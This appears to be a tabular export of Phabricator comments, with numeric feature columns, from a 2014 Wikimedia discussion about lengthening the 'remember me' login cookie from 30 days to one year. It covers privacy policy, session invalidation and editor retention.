> > session starts for a user. So in case of theft or hijacking in a way where
> > the user logs in again on a different browser / account / computer, the old
> > session will be immediately invalidated.
> 
> Is asking for year-long concurrent sessions on multiple devices on-topic
> here,

No.

> is there a separate bug for this,

No, I don't believe so.

> should I file one

Please do.

> or ask on Village Pump?

Please don't ask on the Village Pump intricate technical requests, as they're normally lost. However, feel free to mention on-wiki about the bug.",,,1404146346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-53,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,1.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,27.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,6.0,4.0,1.0,0.0,2.0,10.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3048780487804876,0.5487804878048781,"(In reply to Martin von Gagern from comment #34)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No.

QUOTE

No, I don't believe so.

QUOTE

Please do.

QUOTE

Please don't ask on the Village Pump intricate technical requests, as they're normally lost. However, feel free to mention on-wiki about the bug."
301877,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**Martin.vGagern** wrote:

(In reply to Krinkle from comment #24)
> Hm.. also relevant is that we invalidate existing sessions when a new
> session starts for a user. So in case of theft or hijacking in a way where
> the user logs in again on a different browser / account / computer, the old
> session will be immediately invalidated.

Is asking for year-long concurrent sessions on multiple devices on-topic here, is there a separate bug for this, should I file one or ask on Village Pump?",,,1404111220,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,18.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,0.0,2.0,13.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4754098360655736,0.7540983606557377,"**Martin.vGagern** wrote:

(In reply to Krinkle from comment #24)
QUOTE
QUOTE
QUOTE
QUOTE

Is asking for year-long concurrent sessions on multiple devices on-topic here, is there a separate bug for this, should I file one or ask on Village Pump?"
301871,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Jared Zimmerman (WMF) from comment #27)
> Most modern sites have dispensed with this type of control all together

I would be surprised if this is true of most major sites that are currently actively used.  Google (""Stay signed in""), Twitter (""Remember me""), Facebook (""Keep me logged in""), Yahoo (""Keep me signed in""), and Pandora (""Remember me"") all have it.

I don't claim they all have the same behavior, but they all have a control on the login screen.",,,1403826027,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-53,True,3.0,0.0,0.0,0.5,1.0,3.0,1.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.0,4.5,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,1.5,1.0,2.0,0.0,0.0,0.0,2.5,0.0,0.0,2.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,5.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,3.0,1.5,11.0,0.5,2.0,6.0,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,7.5,6.0,5.0,0.0,7.5,0.0,7.5,0.0,0.5,1.0,3.5,0.0,0.0,0.5,0.0,3.111111111111111,0.7037037037037037,"(In reply to Jared Zimmerman (WMF) from comment #27)
QUOTE

I would be surprised if this is true of most major sites that are currently actively used.  Google (""Stay signed in""), Twitter (""Remember me""), Facebook (""Keep me logged in""), Yahoo (""Keep me signed in""), and Pandora (""Remember me"") all have it.

I don't claim they all have the same behavior, but they all have a control on the login screen."
301864,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 141394 had a related patch set uploaded by Phuedx:
Use $wgLoginCookieExpiration when setting login cookies

https://gerrit.wikimedia.org/r/141394",,,1403522037,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.285714285714286,1.0,"Change 141394 had a related patch set uploaded by Phuedx:
Use $wgLoginCookieExpiration when setting login cookies

GERRIT_URL"
301858,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 141248 had a related patch set uploaded by Phuedx:
Configure logged in session length independantly

https://gerrit.wikimedia.org/r/141248",,,1403360570,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,"Change 141248 had a related patch set uploaded by Phuedx:
Configure logged in session length independantly

GERRIT_URL"
301852,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:

(In reply to Bawolff (Brian Wolff) from comment #29)
> I strongly suggest this be discussed on meta before being implemented.
> Especially given the less than positive response last time around.

What response are you talking about? I haven't been aware of any recent previous discussion about this that was overly negative. 

For the record, any previous proposal to extend any cookie retention beyond 30 days should have been rejected or undone per the Wikimedia privacy policy, which expressly forbid such a thing. I think there might have been a period where it was 180 days, but that was undone IIRC.

Getting rid of this hard requirement for Wikimedia sites is part of why we revised our privacy policy. You can see this reflected in comments during that lengthy discussion period.[1][2] Outside of the privacy policy discussion, I've repeatedly heard people asking for an option to be logged in longer than 30 days.[3][4][5]

1. ""the expected improvements users should like this policy for (this is the only one mentioned so far apart from longer login duration, if I remember correctly)."" https://meta.wikimedia.org/wiki/Talk:Privacy_policy/Archives/2014
2. ""I'd rather be able to stay logged in forever"" https://meta.wikimedia.org/wiki/Talk:Privacy_policy/Archives/2013#What_about_login_cookie_duration.3F
3. https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_110#Only_30_days_per_login_AGAIN.3F
4. https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_40#30_day_login_limit
5. https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_47#Logging_out_after_30_days_feature",,,1403124772,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1.0,0.0,0.0,1.0,0.3333333333333333,4.666666666666667,2.0,0.0,0.0,0.3333333333333333,1.6666666666666667,1.0,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,5.0,9.666666666666666,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,3.0,2.3333333333333335,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,3.6666666666666665,0.0,0.6666666666666666,0.0,0.0,0.0,10.0,1.6666666666666667,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.3333333333333333,0.0,0.0,3.0,4.0,8.666666666666666,1.0,0.6666666666666666,7.666666666666667,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,4.0,0.0,3.6666666666666665,9.666666666666666,3.3333333333333335,0.3333333333333333,1.6666666666666667,0.0,3.6666666666666665,0.0,1.6666666666666667,1.0,0.0,1.0,1.0,0.0,0.3333333333333333,3.9342105263157894,0.75,"**swalling** wrote:

(In reply to Bawolff (Brian Wolff) from comment #29)
QUOTE
QUOTE

What response are you talking about? I haven't been aware of any recent previous discussion about this that was overly negative. 

For the record, any previous proposal to extend any cookie retention beyond 30 days should have been rejected or undone per the Wikimedia privacy policy, which expressly forbid such a thing. I think there might have been a period where it was 180 days, but that was undone IIRC.

Getting rid of this hard requirement for Wikimedia sites is part of why we revised our privacy policy. You can see this reflected in comments during that lengthy discussion period.[1][2] Outside of the privacy policy discussion, I've repeatedly heard people asking for an option to be logged in longer than 30 days.[3][4][5]

1. ""the expected improvements users should like this policy for (this is the only one mentioned so far apart from longer login duration, if I remember correctly)."" URL
2. ""I'd rather be able to stay logged in forever"" URL
3. URL
4. URL
5. URL"
301846,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",I strongly suggest this be discussed on meta before being implemented. Especially given the less than positive response last time around.,,,1403123836,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,4.0,9.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,5.086956521739131,0.9565217391304348,I strongly suggest this be discussed on meta before being implemented. Especially given the less than positive response last time around.
301837,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:

(In reply to Jared Zimmerman (WMF) from comment #27)
> Most modern sites have dispensed with this type of control all together,
> financial sites do the opposite and force log you out after 10-30 mins
> usually. 
> 
> If the use case were trying to solve for us the small set of more security
> conscious users we can mostly assume they'll log out after each session.
> What if we invert this option and in preferences:profile we have an
> initially unchecked option of ""Automativally log me out after 40 days of
> inactivity"" or whatever timespan these users prefer. Then the site behaves
> normally and smoothly for users who dont want to have to frequently reinter
> logging credentials?

It's a good idea, but let's consider such an option as a separate bug/design idea iterating on this. Without redesigning the system completely, we can immediately take a very simple step to increase retention of registered users.",,,1403123675,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,1.0,8.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,3.0,9.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.611111111111111,0.6333333333333333,"**swalling** wrote:

(In reply to Jared Zimmerman (WMF) from comment #27)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It's a good idea, but let's consider such an option as a separate bug/design idea iterating on this. Without redesigning the system completely, we can immediately take a very simple step to increase retention of registered users."
301828,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Most modern sites have dispensed with this type of control all together, financial sites do the opposite and force log you out after 10-30 mins usually. 

If the use case were trying to solve for us the small set of more security conscious users we can mostly assume they'll log out after each session. What if we invert this option and in preferences:profile we have an initially unchecked option of ""Automativally log me out after 40 days of inactivity"" or whatever timespan these users prefer. Then the site behaves normally and smoothly for users who dont want to have to frequently reinter logging credentials?",,,1403123175,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.5,1.0,0.5,0.0,0.0,0.0,3.5,0.0,8.0,13.0,0.0,2.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.5,1.0,5.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,0.5,1.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,1.5,0.0,0.5,0.0,1.0,0.0,3.0,0.5,3.5,1.5,3.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,2.0,0.0,4.5,13.0,0.0,1.0,1.5,0.0,4.5,0.0,2.5,1.0,1.5,1.5,0.5,0.5,0.0,4.338983050847458,0.8644067796610169,"Most modern sites have dispensed with this type of control all together, financial sites do the opposite and force log you out after 10-30 mins usually. 

If the use case were trying to solve for us the small set of more security conscious users we can mostly assume they'll log out after each session. What if we invert this option and in preferences:profile we have an initially unchecked option of ""Automativally log me out after 40 days of inactivity"" or whatever timespan these users prefer. Then the site behaves normally and smoothly for users who dont want to have to frequently reinter logging credentials?"
301824,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:

(In reply to Matthew Flaschen from comment #25)
> (In reply to Steven Walling from comment #23)
> > Yes. When you breakdown total active editors every month, there is a very
> > large group of editors who return after more than a 30-day break. This type
> > of reactivated editor is just as large as the group of people who edit
> > month-to-month continuously.[1][2]
> 
> This shows that there are a significant number of people editing with more
> than 30 day gaps.
> 
> However, I would bet a lot of them *visited* I Wikimedia site with < 30 day
> gaps (e.g. to read an article, maybe from a search).  Under this proposal,
> that would still extend their session.

The truth is we don't know because we never track read-only sessions month to month. The safe bet here, if we want to ensure that *people who opt in* stay logged in, is to lengthen the cookie expiry beyond 30 days. Keep in mind that the change would only impact people who explicitly choose to be remembered. If we were discussing a default login session length, I would probably agree that we should err on the side of being more conservative.",,,1403058859,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,0.0,0.5,0.5,1.0,1.5,0.5,0.0,1.0,2.5,0.5,0.0,1.0,0.0,4.0,0.5,5.0,12.5,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,4.5,2.0,0.0,2.5,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.5,12.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,1.5,0.0,4.0,3.5,10.5,4.0,0.0,4.0,0.0,0.0,0.0,0.5,6.5,0.0,1.0,0.0,4.0,12.5,6.5,0.0,0.0,0.0,4.0,0.0,1.5,0.5,0.0,0.5,0.5,0.0,0.0,3.6382139812446717,0.6576086956521738,"**swalling** wrote:

(In reply to Matthew Flaschen from comment #25)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The truth is we don't know because we never track read-only sessions month to month. The safe bet here, if we want to ensure that *people who opt in* stay logged in, is to lengthen the cookie expiry beyond 30 days. Keep in mind that the change would only impact people who explicitly choose to be remembered. If we were discussing a default login session length, I would probably agree that we should err on the side of being more conservative."
301819,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Steven Walling from comment #23)
> Yes. When you breakdown total active editors every month, there is a very
> large group of editors who return after more than a 30-day break. This type
> of reactivated editor is just as large as the group of people who edit
> month-to-month continuously.[1][2]

This shows that there are a significant number of people editing with more than 30 day gaps.

However, I would bet a lot of them *visited* I Wikimedia site with < 30 day gaps (e.g. to read an article, maybe from a search).  Under this proposal, that would still extend their session.",,,1403056964,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,17.0,2.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,15.0,1.0,0.0,7.0,0.0,0.0,0.0,1.0,4.0,0.0,4.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,1.0,5.0,1.0,2.0,1.0,0.0,1.0,3.5357142857142856,0.6904761904761905,"(In reply to Steven Walling from comment #23)
QUOTE
QUOTE
QUOTE
QUOTE

This shows that there are a significant number of people editing with more than 30 day gaps.

However, I would bet a lot of them *visited* I Wikimedia site with < 30 day gaps (e.g. to read an article, maybe from a search).  Under this proposal, that would still extend their session."
301815,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Hm.. also relevant is that we invalidate existing sessions when a new session starts for a user. So in case of theft or hijacking in a way where the user logs in again on a different browser / account / computer, the old session will be immediately invalidated.

Though only if the user logs in with ""Remember me"", a short session login maintains validity of the existing Remember-me session on the server.",,,1403054606,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,1.0,1.0,5.0,0.0,0.0,1.0,0.0,4.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,12.0,2.0,6.0,6.0,1.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,16.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,6.0,1.0,2.0,0.0,0.0,0.0,4.048192771084337,0.6746987951807228,"Hm.. also relevant is that we invalidate existing sessions when a new session starts for a user. So in case of theft or hijacking in a way where the user logs in again on a different browser / account / computer, the old session will be immediately invalidated.

Though only if the user logs in with ""Remember me"", a short session login maintains validity of the existing Remember-me session on the server."
301810,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:

(In reply to Chris Steipp from comment #21)
> (In reply to Steven Walling from comment #20)
> > This automatic extension doesn't sound like it adequately serves the type of
> > infrequent editor who takes breaks in between site visits/editing sessions.
> > You still get the effect of ""I haven't visited for 30 days, and now I'm
> > logged out"", correct?
> 
> Correct. Do think we have a significant number of these types?

Yes. When you breakdown total active editors every month, there is a very large group of editors who return after more than a 30-day break. This type of reactivated editor is just as large as the group of people who edit month-to-month continuously.[1][2]

1. [[commons:File:Monthly active editors.by group.enwiki.svg]]
2. [[commons:File:Monthly active editors.facet group.enwiki.svg]]",,,1403053607,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.5,0.0,0.5,0.0,0.0,6.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.0,1.5,10.5,0.5,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.5,3.0,0.0,0.5,6.5,5.5,0.0,0.0,0.0,0.5,0.0,2.0,1.0,0.0,0.0,0.5,0.0,4.5,3.7203389830508478,0.657802454704851,"**swalling** wrote:

(In reply to Chris Steipp from comment #21)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes. When you breakdown total active editors every month, there is a very large group of editors who return after more than a 30-day break. This type of reactivated editor is just as large as the group of people who edit month-to-month continuously.[1][2]

1. [[commons:File:Monthly active editors.by group.enwiki.svg]]
2. [[commons:File:Monthly active editors.facet group.enwiki.svg]]"
301806,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Matthew Flaschen from comment #16)
> I don't believe so:
> 
> git grep -F -- '->setCookies'
> 
> Only specific login pages (Special:UserLogin and API login) and
> Special:ChangePassword seem to call that.  I don't think there's anything
> that extends the expiration time when you're just browsing around.

I didn't investigate CentralAuth, though.  So it's possible that does extend your session through normal browsing (either deliberately or as a side effect).",,,1403053549,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,23.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,5.0,9.0,14.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.824561403508772,0.7368421052631579,"(In reply to Matthew Flaschen from comment #16)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I didn't investigate CentralAuth, though.  So it's possible that does extend your session through normal browsing (either deliberately or as a side effect)."
301802,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Steven Walling from comment #20)
> This automatic extension doesn't sound like it adequately serves the type of
> infrequent editor who takes breaks in between site visits/editing sessions.
> You still get the effect of ""I haven't visited for 30 days, and now I'm
> logged out"", correct?

Correct. Do think we have a significant number of these types?",,,1403052634,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,12.0,12.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.515151515151515,0.8181818181818182,"(In reply to Steven Walling from comment #20)
QUOTE
QUOTE
QUOTE
QUOTE

Correct. Do think we have a significant number of these types?"
301797,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:

(In reply to Chris Steipp from comment #19)
> 
> But doing an automatic extension once a day seems like a much better
> solution, and as you point out, not that difficult.

This automatic extension doesn't sound like it adequately serves the type of infrequent editor who takes breaks in between site visits/editing sessions. You still get the effect of ""I haven't visited for 30 days, and now I'm logged out"", correct?",,,1403051678,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,3.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,4.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,13.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,5.0,13.0,5.0,1.0,3.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.675324675324675,0.8181818181818182,"**swalling** wrote:

(In reply to Chris Steipp from comment #19)
QUOTE
QUOTE
QUOTE

This automatic extension doesn't sound like it adequately serves the type of infrequent editor who takes breaks in between site visits/editing sessions. You still get the effect of ""I haven't visited for 30 days, and now I'm logged out"", correct?"
301792,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Krinkle from comment #17)
> Right, we only set the cookie at log in time and it expires after 30 days
> regardless of whether the user actively uses their account (at which point
> they'd randomly find themselves logged-out after 30 days, not in a middle of
> a browser session due to the session cookie, but the next time they re-open
> the browser).
> 
> I believed we had this already (I don't recall having to authenticate
> anywhere in the last few months for Wikimedia wikis, so either something
> else is extending it or I just forgot I had to do it once).
> 
> Same for Google, Facebook, etc., for those I'm quite certain it is being
> extended automatically.

There was something on some private wikis that is based on activity, although so far I haven't been able to find out who set it up or how.

But doing an automatic extension once a day seems like a much better solution, and as you point out, not that difficult.",,,1403051483,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,2.0,1.0,0.0,1.0,2.0,5.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,9.0,13.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,1.0,1.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,18.0,2.0,3.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,13.0,12.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,1.0,1.0,0.0,0.0,3.4565217391304346,0.6630434782608695,"(In reply to Krinkle from comment #17)
